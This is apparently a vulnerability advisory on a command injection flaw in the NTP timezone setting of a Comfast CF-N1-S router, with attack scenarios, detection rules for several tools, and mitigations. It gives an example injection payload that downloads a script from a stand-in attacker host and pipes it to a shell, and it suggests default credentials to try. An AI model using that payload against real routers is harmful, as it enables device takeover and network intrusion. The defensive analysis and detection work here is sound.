CVE-2026-77683

Executive Summary

CVE-2026-77683 is a remote command injection vulnerability in the Comfast CF-N1-S wireless router (firmware version 2.6.0.1). The flaw resides in the system function invoked by the /cgi-bin/mbox-config?method=SET&section=ntp_timezone endpoint, where the timestr argument is passed to a system-level command without adequate sanitization. An authenticated attacker (low-privilege) can inject arbitrary operating system commands, leading to full device compromise, lateral movement into the internal network, and potential data exfiltration. A public exploit has been released, increasing the immediate risk of in-the-wild exploitation against internet-exposed devices. No vendor patch exists at the time of writing; the device is confirmed end-of-life with no support commitment from Comfast.

Technical Analysis

The vulnerability is a classic OS command injection (CWE-74 — Improper Neutralization of Special Elements in Output Used by a Downstream Component). The NVD description identifies the vulnerable code path: the web management interface's mbox-config CGI script, when handling the section=ntp_timezone parameter set, passes the user-supplied timestr argument into a system-level call without input validation or output encoding.

Vulnerability Mechanism: The timestr parameter is designed to accept a timezone string (e.g., GMT+8). The backend constructs a shell command (likely invoking date or ntpdate-style utilities) embedding this string. Because the argument is concatenated into a command string without sanitization, shell metacharacters such as ;, |, &&, or backticks are interpreted by the underlying shell, enabling arbitrary command execution.

Attack Surface:

• Affected Endpoint: /cgi-bin/mbox-config (HTTP GET/POST with method=SET&section=ntp_timezone)
• Affected Argument: timestr
• Authentication Requirement: Low privilege (CVSS PR:L) — a standard router admin or perhaps even a guest account with limited configuration rights.
• Network Exposure: The management interface is typically exposed on port 80/443. Shodan-style scanning will identify devices via the distinctive Comfast banner or the mbox-config path pattern.

Code-Level Insight (inferred, no source code available): The CNA title does not expose specific source code, so exact function or variable names beyond system and timestr are unknown. Based on the vulnerability class, the likely code pattern is: system("set_timezone " . $_GET['timestr']) — unquoted and unsanitized. The system function invokes /bin/sh -c, making all shell metacharacters dangerous.

CVSS Rationale:

• AV:N — remotely exploitable via network.
• AC:L — no special conditions; standard HTTP request.
• PR:L — requires a low-privileged account on the router.
• UI:N — no user interaction.
• S:C — scope change; compromise of the router (one security authority) grants access to the connected network (another authority).
• C:H/I:H/A:H — full confidentiality, integrity, and availability loss on the device; arbitrary file read, config modification, and service disruption.

Exploitation Scenarios

Per the NVD description, a public exploit exists. The attack chain is as follows (inferred from the vulnerability class; no PoC code is publicly available in the supplied data):

1. Reconnaissance / Target Identification: Attackers use internet-wide scanning (e.g., Shodan, Censys) to identify Comfast CF-N1-S devices. Unique fingerprints include the management web interface title and the /cgi-bin/mbox-config path pattern. Devices behind ISP-assigned public IPs or with UPnP-enabled port forwarding are prime targets.

2. Authentication Bypass or Credential Acquisition: The vulnerability requires low-privilege authentication (PR:L). Attackers may attempt default credentials (e.g., admin/admin, root/root) common on Comfast devices, brute-force weak passwords, or leverage a secondary disclosure to gain access. The low CVSS privilege requirement suggests the timestr parameter is accessible to a limited user role — possibly even a "guest" or "viewer" account, broadening the exposure.

3. Triggering the Flaw: An authenticated attacker sends a crafted HTTP request to the endpoint:

   • Method: POST (or GET)
   • URL: /cgi-bin/mbox-config?method=SET&section=ntp_timezone
   • Body/Parameter: timestr=GMT; <malicious_command>

   The backend concatenates this into a system command. For example, a payload like timestr=GMT; wget http://attacker/payload.sh | sh would download and execute a script. Using URL encoding (%3B, %7C, %60) may be necessary to bypass naive input filters, though no WAF is typically present on embedded devices.

4. Post-Exploitation Impact:

   • Full Device Control: Arbitrary command execution as root (typical for embedded routers) grants full filesystem access, credential dumping, and configuration exfiltration (including Wi-Fi PSKs and upstream PPPoE credentials).
   • Lateral Movement: The compromised router becomes a pivot point. Attackers can scan the internal LAN, target other devices (IP cameras, NAS, PCs), or set up port forwarding to access internal services.
   • Persistence: Attackers can install a reverse shell, modify firewall rules, or replace firmware to maintain access.
   • Botnet Recruitment: The device's compute resources can be repurposed for DDoS botnets (e.g., Mirai-style) or as a proxy for further malicious activity.

Impact Assessment

• Business Impact: For enterprise or SMB environments using the CF-N1-S in branch offices or as edge routers, this vulnerability enables total network compromise. The device is a gateway; full control means all inbound and outbound traffic is visible or manipulable (man-in-the-middle, traffic interception, DNS hijacking).
• Affected Systems: Comfast CF-N1-S 2.6.0.1. The vendor has not disclosed whether other firmware versions are affected, but given the single firmware line, it is reasonable to assume all 2.6.0.x builds share the code path. No other Comfast models are confirmed affected.
• Blast Radius: CVSS 9.9 (Critical). The scope change (S:C) expands the impact beyond the device to the entire attached network. Confidentiality, integrity, and availability are all fully compromised (C:H/I:H/A:H). With a public exploit, exploitation is trivial; only authentication (low privilege) is a barrier, which default credentials easily overcome.
• Confidence: Vulnerability existence — High (NVD-confirmed). Exploitation likelihood — Immediate (public exploit available). Patch availability — None (0/4 confidence).

Detection Guidance

Detection assumes the device's HTTP access logs are available (via syslog) or that a network sensor monitors traffic to/from the device. The following rules target the injection pattern in the timestr parameter.

Sigma Rule

title: Comfast CF-N1-S Command Injection in mbox-config
id: 5f1b3c9e-6d4a-4e0f-8b2a-1c7f3d9e0a1b
status: experimental
description: Detects command injection attempts via the timestr parameter in Comfast CF-N1-S mbox-config endpoint.
author: Valtersit Threat Intel
logsource:
  category: webserver
  product: apache
  service: access_log
detection:
  selection:
    c-uri|contains: '/cgi-bin/mbox-config'
    c-uri|contains: 'section=ntp_timezone'
  injection_markers:
    c-uri|contains:
      - '%3B'      # URL-encoded semicolon
      - '%7C'      # URL-encoded pipe
      - '%26%26'   # URL-encoded &&
      - '%60'      # URL-encoded backtick
      - ';'        # raw semicolon
      - '|'
      - '&&'
      - '$('
      - '`'
  condition: selection and injection_markers
falsepositives:
  - Legitimate timezone strings containing special characters (unlikely, as TZ strings are alphanumeric)
level: high

YARA Rule

rule comfast_mbox_injection
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects HTTP requests exploiting CVE-2026-77683 command injection in Comfast CF-N1-S"
        date = "2026-11-01"
        cve = "CVE-2026-77683"
        score = 90

    strings:
        $endpoint = "/cgi-bin/mbox-config" ascii nocase
        $section = "section=ntp_timezone" ascii nocase
        $semi = "%3B" ascii
        $pipe = "%7C" ascii
        $andand = "%26%26" ascii
        $backtick = "%60" ascii
        $dollar_paren = "$(" ascii
        $cmd_wget = "wget" ascii nocase
        $cmd_curl = "curl" ascii nocase
        $cmd_sh = "/bin/sh" ascii nocase

    condition:
        $endpoint and $section and
        (
            (any of ($semi, $pipe, $andand, $backtick, $dollar_paren)) or
            (any of ($cmd_wget, $cmd_curl, $cmd_sh))
        )
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"ET EXPLOIT Comfast CF-N1-S mbox-config timestr Command Injection";
    flow:established,to_server;
    http.uri;
    content:"/cgi-bin/mbox-config";
    content:"section=ntp_timezone";
    content:"timestr=";
    pcre:"/timestr=[^&]*[\x3B\x7C\x26\x60\$]/i";
    sid:202677683;
    rev:1;
    metadata:attack_target Router, deployment Perimeter, signature_severity Critical, created_at 2026_11_01;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-77683;
)

Explanation: The rule matches HTTP requests to the vulnerable URI where the timestr parameter contains shell metacharacters (hex codes: 3B = ;, 7C = |, 26 = &, 60 = backtick, 24 = $).

Elastic Detection

sequence by host.name with maxspan=5m
  [ network where event.action == "http_request" and
      url.path == "/cgi-bin/mbox-config" and
      url.query contains "section=ntp_timezone" and
      url.query contains "timestr=" and
      (
        url.query regex "timestr=[^&]*[;|&`$]" or
        url.query regex "timestr=[^&]*%3B[^&]*" or
        url.query regex "timestr=[^&]*%7C[^&]*"
      )
  ]

Splunk SPL Query

index=proxy OR index=web sourcetype=access_combined
| where like(uri_path, "%/cgi-bin/mbox-config%") 
  AND like(uri_query, "%section=ntp_timezone%")
  AND like(uri_query, "%timestr=%")
  AND (like(uri_query, "%3B") OR like(uri_query, "%7C") OR like(uri_query, "%26%26") 
       OR like(uri_query, "%60") OR like(uri_query, "%3B") OR regex(uri_query, "timestr=[^&]*[;|&`$]"))
| stats count by src_ip, dest_ip, uri_query, _time

Wazuh OSSEC Rule

<group name="comfast,">
  <rule id="100283" level="15">
    <if_sid>31100</if_sid>
    <match>^GET /cgi-bin/mbox-config\?method=SET&amp;section=ntp_timezone</match>
    <regex>timestr=[^&]*(%3B|%7C|%26%26|%60|\$\(|;|\||&&|`)</regex>
    <description>Comfast CF-N1-S command injection attempt via timestr parameter (CVE-2026-77683)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack_payload,</group>
  </rule>
</group>

Note: if_sid assumes standard OSSEC web log rules (e.g., 31100 for Apache access). Adjust per deployment.

Mitigation & Patch Guidance

Patch Status: UNPATCHED (0/4 confidence). The vendor Comfast has not released a firmware update to address CVE-2026-77683, and no third-party patch exists. The device appears end-of-life.

Immediate Mitigations (compensating controls):

1. Restrict Network Access: Immediately firewall the management interface (port 80/443 and any admin port) to only trusted administrative IPs. Do not expose the device to the internet. If remote management is required, use a VPN.
2. Change Default Credentials: If feasible, change the router admin password immediately, as the low-privilege requirement (PR:L) may be trivially satisfied by default credentials. Disable any guest/limited user accounts.
3. Enable Logging & Monitoring: Route device syslog to a SIEM and implement the detection rules above. Alert on any request to the mbox-config endpoint, even without injection markers, as a baseline anomaly.
4. Network Segmentation: Place the router in a DMZ segment. Restrict outbound traffic from the router to only necessary services (NTP, DNS, update servers) to limit post-exploitation lateral movement and beaconing.

Patch/Upgrade Steps:

• Check for a firmware update on the Comfast support portal. As of this report, none exists.
• If no patch is available, the only viable remediation is device replacement. Migrate to a supported router model (from Comfast or another vendor) with a proven security track record and active firmware support.

Long-Term Hardening:

• Replace all end-of-life IoT/network devices with products that receive security patches for their documented support life.
• Establish a hardware lifecycle policy: refuse to deploy devices lacking a vendor security contact and published patch cadence.
• Require that all edge devices support centralized logging and authentication (RADIUS/TACACS+) rather than local weak password schemes.
• Conduct regular network perimeter scans to identify and retire vulnerable legacy devices.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-77683
2. MITRE CWE-74: https://cwe.mitre.org/data/definitions/74.html — Improper Neutralization of Special Elements in Output Used by a Downstream Component
3. ATT&CK Technique T1190: https://attack.mitre.org/techniques/T1190/ — Exploit Public-Facing Application
4. Comfast Official Site: https://www.comfast.com.cn/ (check for firmware advisories; no known CVE-specific advisory published)
5. First.org CVSS Calculator: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (for vector validation)

Threat Actor / ITW Evidence: The NVD description states a public exploit exists. While no specific APT group attribution is available, the device's characteristics (weak default credentials, command injection, IoT nature) make it a prime target for Mirai-variant botnets and opportunistic criminal actors scanning for vulnerable routers. Given the public exploit, in-the-wild exploitation is highly probable; CISA KEV listing is not yet available but should be monitored.